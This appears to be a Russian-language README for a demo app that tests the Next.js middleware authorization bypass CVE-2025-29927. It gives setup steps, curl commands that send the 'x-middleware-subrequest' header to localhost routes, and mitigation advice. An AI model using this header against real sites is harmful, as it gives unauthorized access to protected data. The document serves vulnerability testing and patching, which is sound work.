
Проверяет и демонстрирует CVE-2025-29927 — обход авторизации в middleware Next.js. Включает скрипты для эксплуатации уязвимости и проверки обычного доступа, а также рекомендации по устранению.
Это приложение демонстрирует уязвимость обхода авторизации в middleware Next.js (CVE-2025-29927).
CVE-2025-29927 — это уязвимость обхода авторизации в middleware Next.js. Отправляя специально сформированный HTTP-заголовок (x-middleware-subrequest), злоумышленник может обойти проверки авторизации, реализованные в middleware, и потенциально получить доступ к защищённым ресурсам.
Установите зависимости:
cd /var/www/react-nextjs/test-middleware-skip
npm install
Запустите сервер разработки:
npm run dev
Сервер запустится на http://localhost:3000
Попробуйте обычным способом получить доступ к защищённому маршруту:
npm run test-normal
или
curl -v http://localhost:3000/protected-data
Вы должны получить ответ 401 Unauthorized, поскольку middleware блокирует доступ.
Попробуйте получить доступ к защищённому маршруту с эксплуатирующим заголовком:
npm run test-exploit
или
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/protected-data
Если приложение уязвимо, вы получите ответ 200 OK с защищёнными данными.
Обычный доступ (должен быть заблокирован):
curl -v http://localhost:3000/api/protected
С эксплойтом:
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Чтобы исправить эту уязвимость, вам следует:
Обновите Next.js до исправленной версии:
Если вы не можете обновиться, настройте обратный прокси-сервер (например, Nginx или Cloudflare), который будет удалять заголовок x-middleware-subrequest из входящих запросов.
Проверьте, уязвим ли API-маршрут:
# Normal request (should be blocked)
curl -v http://localhost:3000/api/protected
# With exploit header
curl -v -H "x-middleware-subrequest: middleware" http://localhost:3000/api/protected
Этот инструмент предоставляется исключительно в образовательных целях и для тестирования безопасности. Используйте его, чтобы проверить, уязвимы ли ваши собственные приложения Next.js и требуют ли они обновления.